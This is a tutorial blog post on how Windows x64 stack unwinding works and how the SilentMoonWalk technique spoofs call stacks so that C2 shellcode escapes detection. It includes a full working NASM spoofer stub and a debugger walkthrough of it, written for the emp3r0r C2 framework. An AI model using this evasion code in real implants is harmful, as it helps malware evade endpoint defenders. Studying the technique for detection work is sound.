spoofed call stack

The Basics

Forgive me if this post sounds too basic or detailed. My tutor job gave me this style. Hopefully it helps beginners.

The screenshots are taken from different runs as I didn't have the time to finish writing in one go. If you see different addresses, that's why.

What is a Call Stack?

Assuming you understand the basic concepts such as process and thread, you should know that a thread is essentially a code flow; and a code flow, from a computer's perspective, either processes data for a function call, or processes data returned by a function call, which brings us the need for state management, which we call stack. So, yes, a thread has a stack, and a process has one or more threads.

The stack, when used for function call tracking, we call it a call stack.

In the following screenshot, there are 5 call stacks.

not spoofed

Each row has some information about a function call, it's called a stack frame. Comment describes where the function is. In most cases, functions are from some executable images (exe, dll). Ntdll is a user space gateway to Windows system calls, that's why some of its functions are marked as system.

Unbacked code

However, for obvious reasons, we sometimes have to run code from somewhere other than executable images, to make it less detectable. But guess what? Your code has to run as a thread, which creates a call stack; and a call stack looks like the screenshot. What makes it special is that it doesn't have any image (file) backing it, it's from some memory address (well, they all are, but this one is anonymous) that's on the heap, instead of legitimate .text section. Legitimate code rarely does that, or can be easily baselined so your shellcode stands out.

Why not write to .text then?

Well, short answer: you can't. Because your code doesn't originally live there, at least in most cases, it becomes a chicken-egg problem. If your code lives in .text from the beginning, it means you are running it from an image, which brings us back to the "why do we use shellcode" question.

img img

Obviously, you can allocate heap memory and write code to it, then flip its permission to be executable, you get the following, which give you away by having no legitimate name in the call stack when it runs.

Crystal Palace

I wrote this post when I was adding crystal palace to emp3r0r C2. Crystal Palace is a linker that allows you to decouple your C2 payload from evasion code, and link them together as PICO (shellcode). PICO, as shellcode, doesn't have a place in images, it has to be on the heap, which gives you the "unbacked code in call stack" issue.

To debug any of this, we first have to find PICO in memory. As we know that the memory pages have to be flipped to executable, VirtualProtect has to be called. We set a breakpoint there and we get the address in RCX (google calling convention if you don't understand why).

find pico

How Windows Walks a Stack

Before we can fake a call stack, we need to know how it's read.

On x64 there's no reliable frame-pointer chain to follow, so Windows can't walk a stack by chasing saved rbps. Instead, every function in a PE image gets an entry in the exception directory (.pdata). Each entry is a RUNTIME_FUNCTION that points to a UNWIND_INFO structure, and that structure holds a list of unwind codes describing exactly what the prologue did: which registers were pushed, how much stack was allocated, whether a frame register was used, and so on.

UNWIND_INFO disass

Both the kernel and user-mode unwinders (RtlLookupFunctionEntry + RtlVirtualUnwind) parse those codes, frame by frame, and replay the prologue backwards:

  • look up the function that owns the current RIP,
  • use its unwind codes to compute the caller's RSP,
  • read the return address and saved registers from that recovered RSP,
  • repeat until the thread root.

No instruction is ever executed; the unwinder just does the math the metadata tells it to do.

RtlVirtualUnwind

What this means for shellcode

Your shellcode has no image, so it has no .pdata entry and no unwind codes. When the unwinder hits a return address pointing at your heap, RtlLookupFunctionEntry has nothing to look up. Depending on the walker, it either gives up right there, or treats the address as a leaf frame and keeps reading raw stack pointers — either way, the walk ends with an unbacked address sitting in the stack, and that's exactly the thing that gets your payload flagged.

And guess what? The unwinder doesn't have to walk the real stack.

Silent Moon Walk

What is it?

Anyway, what I did is integrate SilentMoonWalk stack spoofing into a PICO payload. This post is mainly about how stack spoofing works.

Silent Moon Walk is a stack spoofing technique that allows you to wrap your function calls so they produce legitimate-looking call stacks, free of heap addresses.

SilentMoonWalk keeps two stacks alive at once: RSP points at a fake stack made of real, unwind-able addresses, while RBP keeps pointing at your real stack. That's the "desync" part — the unwinder and the CPU are, briefly, looking at two different stacks. The asm also plants a thread root (BaseThreadInitThunk -> RtlUserThreadStart -> 0) right above the real stack, so that even when the unwinder crosses back over to it, it walks to a normal end instead of running into your unbacked loader frame.

two stacks

The spoofer stub

The following assembly code is the core business logic. It exposes silentmoonwalk_spoof_call to C code. C code passes a big chunk of object data as an argument to it, which, as per x64 calling convention, lives in RCX. As you can see each member of the struct object has an offset from RCX. Parameters are accessed by something like RCX+0x90.

;   SilentMoonwalk desync call-stack spoofer
;
;   Direct NASM translation of SilentMoonwalk/SilentMoonwalk/include/asm/
;   DesyncSpoofer.asm. The SPOOFER layout is kept in sync with Spoof.h.

[BITS 64]

section .text

%define SMW_KERNELBASE                0x00
%define SMW_KERNELBASE_END            0x08
%define SMW_RTLUSER                   0x10
%define SMW_BASETHREAD                0x18
%define SMW_FIRSTFRAME                0x20
%define SMW_SECONDFRAME               0x28
%define SMW_JMPRBX_GADGET             0x30
%define SMW_ADDRSP_GADGET             0x38
%define SMW_FIRSTFRAME_SIZE           0x40
%define SMW_FIRSTFRAME_RAND           0x48
%define SMW_SECONDFRAME_SIZE          0x50
%define SMW_SECONDFRAME_RAND          0x58
%define SMW_JMPRBX_FRAME_SIZE         0x60
%define SMW_ADDRSP_FRAME_SIZE         0x68
%define SMW_RTLUSER_FRAME_SIZE        0x70
%define SMW_BASETHREAD_FRAME_SIZE     0x78
%define SMW_RBP_PUSH_OFFSET           0x80
%define SMW_JMPRBX_GADGET_REF         0x88
%define SMW_SPOOF_FUNC                0x90
%define SMW_RETURN_ADDR               0x98
%define SMW_NARGS                     0xA0
%define SMW_ARG01                     0xA8
%define SMW_ARG02                     0xB0
%define SMW_ARG03                     0xB8
%define SMW_ARG04                     0xC0
%define SMW_ARG05                     0xC8
%define SMW_ARG06                     0xD0
%define SMW_ARG07                     0xD8
%define SMW_ARG08                     0xE0

global silentmoonwalk_spoof_call

silentmoonwalk_spoof_call:
    ;   Saving non-vol registers
    mov     [rsp + 0x08], rbp
    mov     [rsp + 0x10], rbx

    ;   Creating a stack reference to the JMP RBX gadget
    mov     rbx, [rcx + SMW_JMPRBX_GADGET]
    mov     [rsp + 0x18], rbx
    mov     rbx, rsp
    add     rbx, 0x18
    mov     [rcx + SMW_JMPRBX_GADGET_REF], rbx

    ;   Prolog
    ;   RBP -> Keeps track of original Stack
    ;   RSP -> Desync Stack for Unwinding Info
    mov     rbp, rsp

    ;   Point SMW_RETURN_ADDR at [rbp] so the unwinder reads the real-stack
    ;   slot we patch below instead of the unbacked caller return address.
    mov     rax, rbp
    mov     [rcx + SMW_RETURN_ADDR], rax

    ;   Stash the original caller return address in the spare shadow slot so
    ;   restore can still return to the loader after the spoofed call.
    mov     rax, [rbp]
    mov     [rbp + 0x20], rax

    ;   Overwrite the unbacked caller return address with a backed thread-root
    ;   return address (kernel32!BaseThreadInitThunk + 0x14) so the stack walk
    ;   terminates in kernel32 instead of aborting on the shellcode address.
    mov     rax, [rcx + SMW_BASETHREAD]
    add     rax, 0x14
    mov     [rbp], rax

    ;   Creating stack pointer to Restore
    lea     rax, [rel restore]
    push    rax

    ;   RBX contains the stack pointer to Restore
    lea     rbx, [rsp]

    ;   First Frame (Fake origin)
    push    qword [rcx + SMW_FIRSTFRAME]
    mov     rax, [rcx + SMW_FIRSTFRAME_RAND]
    add     qword [rsp], rax

    mov     rax, [rcx + SMW_RETURN_ADDR]
    sub     rax, [rcx + SMW_FIRSTFRAME_SIZE]

    sub     rsp, [rcx + SMW_SECONDFRAME_SIZE]
    mov     r10, [rcx + SMW_RBP_PUSH_OFFSET]
    mov     [rsp + r10], rax

    ;   ROP Frames
    push    qword [rcx + SMW_SECONDFRAME]
    mov     rax, [rcx + SMW_SECONDFRAME_RAND]
    add     qword [rsp], rax

    ;   1. JMP [RBX] Gadget
    sub     rsp, [rcx + SMW_JMPRBX_FRAME_SIZE]
    push    qword [rcx + SMW_JMPRBX_GADGET_REF]
    sub     rsp, [rcx + SMW_ADDRSP_FRAME_SIZE]
    mov     r10, [rcx + SMW_JMPRBX_GADGET]
    mov     [rsp + 0x38], r10

    ;   2. Stack PIVOT (To restore original Control Flow Stack)
    push    qword [rcx + SMW_ADDRSP_GADGET]

    ;   Store the AddRspX gadget frame size on the real stack; the unwinder
    ;   reads it when walking the JMP [RBX] gadget frame so it lands back on
    ;   the real thread-origin frames instead of the desync stack.
    mov     rax, [rcx + SMW_ADDRSP_FRAME_SIZE]
    mov     [rbp + 0x28], rax

    ;   Synthesise the thread-root frames above the patched return address so
    ;   the unwinder can walk BaseThreadInitThunk -> RtlUserThreadStart -> 0
    ;   instead of reading raw stack pointers from the loader's real frame.
    mov     r10, [rcx + SMW_BASETHREAD_FRAME_SIZE]
    test    r10, r10
    jz      .skip_thread_root
    mov     r11, [rcx + SMW_RTLUSER_FRAME_SIZE]
    test    r11, r11
    jz      .skip_thread_root
    mov     rax, [rcx + SMW_RTLUSER]
    test    rax, rax
    jz      .skip_thread_root

    ;   BaseThreadInitThunk's parent return address = RtlUserThreadStart + 0x21
    add     rax, 0x21
    mov     r9, r10
    add     r9, 0x08
    mov     [rbp + r9], rax

    ;   RtlUserThreadStart's parent return address = 0 (thread root)
    mov     r9, r10
    add     r9, r11
    add     r9, 0x10
    mov     qword [rbp + r9], 0

.skip_thread_root:

    ;   Set the pointer to the function to call in RAX
    mov     rax, [rcx + SMW_SPOOF_FUNC]
    jmp     parameter_handler
    jmp     execute

restore:
    mov     rsp, rbp
    mov     rbp, [rsp + 0x08]
    mov     rbx, [rsp + 0x10]

    ;   Put the original caller return address back before returning so the
    ;   loader resumes where silentmoonwalk_spoof_call was invoked.
    mov     r10, [rsp + 0x20]
    mov     [rsp], r10
    ret

parameter_handler:
    mov     r9, rax
    mov     rax, 8
    mov     r8, [rcx + SMW_NARGS]
    mul     r8
    xchg    r9, rax
    cmp     qword [rcx + SMW_NARGS], 8
    je      handle_eight
    cmp     qword [rcx + SMW_NARGS], 7
    je      handle_seven
    cmp     qword [rcx + SMW_NARGS], 6
    je      handle_six
    cmp     qword [rcx + SMW_NARGS], 5
    je      handle_five
    cmp     qword [rcx + SMW_NARGS], 4
    je      handle_four
    cmp     qword [rcx + SMW_NARGS], 3
    je      handle_three
    cmp     qword [rcx + SMW_NARGS], 2
    je      handle_two
    cmp     qword [rcx + SMW_NARGS], 1
    je      handle_one
    cmp     qword [rcx + SMW_NARGS], 0
    je      handle_none
    jmp     handle_none

handle_eight:
    push    r15
    mov     r15, [rcx + SMW_ARG08]
    mov     [rsp + 0x48], r15
    pop     r15
    jmp     handle_seven

handle_seven:
    push    r15
    mov     r15, [rcx + SMW_ARG07]
    mov     [rsp + 0x40], r15
    pop     r15
    jmp     handle_six

handle_six:
    push    r15
    mov     r15, [rcx + SMW_ARG06]
    mov     [rsp + 0x38], r15
    pop     r15
    jmp     handle_five

handle_five:
    push    r15
    mov     r15, [rcx + SMW_ARG05]
    mov     [rsp + 0x30], r15
    pop     r15
    jmp     handle_four

handle_four:
    mov     r9, [rcx + SMW_ARG04]
    jmp     handle_three

handle_three:
    mov     r8, [rcx + SMW_ARG03]
    jmp     handle_two

handle_two:
    mov     rdx, [rcx + SMW_ARG02]
    jmp     handle_one

handle_one:
    mov     rcx, [rcx + SMW_ARG01]
    jmp     handle_none

handle_none:
    jmp     execute

execute:
    jmp     rax

In the debugger, the same stub looks like this. You wrap your function calls in C code and they eventually end up here.

stub

The config struct

The whole thing is driven by that one struct passed in RCX, which is why the asm is full of [rcx + offset]. You already saw the offsets at the top of the file; in plain English:

  • SMW_SPOOF_FUNC — the function we actually want to call, the one that gets the fake callers.
  • SMW_FIRSTFRAME / SMW_SECONDFRAME — two real functions (plus a random offset each) that pretend to be the callers.
  • SMW_JMPRBX_GADGET / SMW_ADDRSP_GADGET — a jmp [rbx] and an add rsp, imm; ret, picked from real modules. They bridge the fake stack back to the real one.
  • SMW_BASETHREAD / SMW_RTLUSERkernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart, so the walk ends at a normal thread root.
  • the *_FRAME_SIZE fields — how much stack each of those frames "allocates" according to its unwind info. The asm uses them to put each return address exactly where the unwinder will look for it.
  • SMW_RBP_PUSH_OFFSET — where, inside a frame, the unwinder expects a saved rbp, so we can slip our return address in there.
  • SMW_NARGS + SMW_ARG01..08 — arguments for the spoofed function, since we can't just call it.

Those *_FRAME_SIZE values have to agree with the unwind info of the functions you picked. Off by one push, and the unwinder reads a wrong return address and the whole illusion falls apart.

The arguments

Since we never call the function, nobody sets up its arguments for us, so parameter_handler does it right before the jmp. RCX, RDX, R8, R9 come straight from SMW_ARG01..04; anything past the fourth argument (x64 convention) has to go on the stack at [rsp+0x28] and up, which is what handle_five through handle_eight take care of.

parameter_handler

How it builds the fake stack

Alright. It's not hard to understand that RCX+0x90 is the actual function we want to call. But to understand the stack spoofing part, look at how it constructs the fake stack.

Actually, wait, you need to know that by calling silentmoonwalk_spoof_call(config_of_whatever_function_you_want_to_call), you are not actually calling your function, so the stack is completely managed by silentmoonwalk_spoof_call. It's just that silentmoonwalk_spoof_call sets up the stack frame to hide the real one, while still making sure you can return (to your caller code).

Reading the stub top to bottom:

  1. It saves the caller's RBP and RBX into the real stack, and stashes the jmp [rbx] gadget address next to them, so RBX can be repointed at it later.
  2. mov rbp, rsp freezes the real stack pointer. From here on, RSP walks the fake stack and RBP remembers where "home" is.
  3. It stashes the real return address at [rbp + 0x20], then overwrites [rbp] with BaseThreadInitThunk + 0x14. When the unwinder crosses back from the fake stack onto the real one, it reads this backed address instead of your shellcode.
  4. It pushes the address of restore, then the first fake frame, then the second fake frame. The *_FRAME_SIZE fields space them out so each return address lands exactly where that frame's unwind info says it should.
  5. It lays down the two ROP frames — the jmp [rbx] gadget and the add rsp, imm; ret gadget — which is what the spoofed function will "return" through.
  6. Finally it synthesises BaseThreadInitThunk -> RtlUserThreadStart -> 0 above the real stack, so the unwinder terminates like a normal thread instead of running into the loader.

The function call

I'm not going to single step through the stub, as we have seen how it returns from the spoofed stack just now. It essentially takes RCX and offsets, finds all the data it needs for the stack, sets it up, prepares function parameters, and jmps to the actual function.

jmp rax

At this point, the call stack is ready.

call function

At the beginning of LoadLibraryA.

spoofed

Every frame is backed by a real module, and the walk terminates at the thread root we planted. No heap addresses, no anonymous pages, nothing that says "shellcode".

The return trip

Let's look at a spoofed call stack.

spoofed call stack

It looks very convincing. But if you look at each frame, take the highlighted one for example.

Frame 1: frame 1

Obviously OpenRegKey didn't call LoadLibraryA. When LoadLibraryA finished and needs to return, it returns to SMW_ADDRSP_GADGET in OpenRegKey which looks like this.

add rsp ret

This is written by the following code.

;   2. Stack PIVOT (To restore original Control Flow Stack)
push    qword [rcx + SMW_ADDRSP_GADGET]

add rsp, 38 essentially skips the synthetic frames and reaches...

Frame 2: frame 2

It then jumps to an address stored in the location that is stored in RBX.

jump rbx

If you read the code, it's actually part of our SilentMoonWalk stub.

restore:
    mov     rsp, rbp
    mov     rbp, [rsp + 0x08]
    mov     rbx, [rsp + 0x10]

    ;   Put the original caller return address back before returning so the
    ;   loader resumes where silentmoonwalk_spoof_call was invoked.
    mov     r10, [rsp + 0x20]
    mov     [rsp], r10
    ret

When it reaches ret, it returns to the actual caller.

ret caller

The caller looks like this.

caller

Now we are back to the caller. Look at the spoofed stack, it doesn't seem like we took the declared path, does it?


Comments

comments powered by Disqus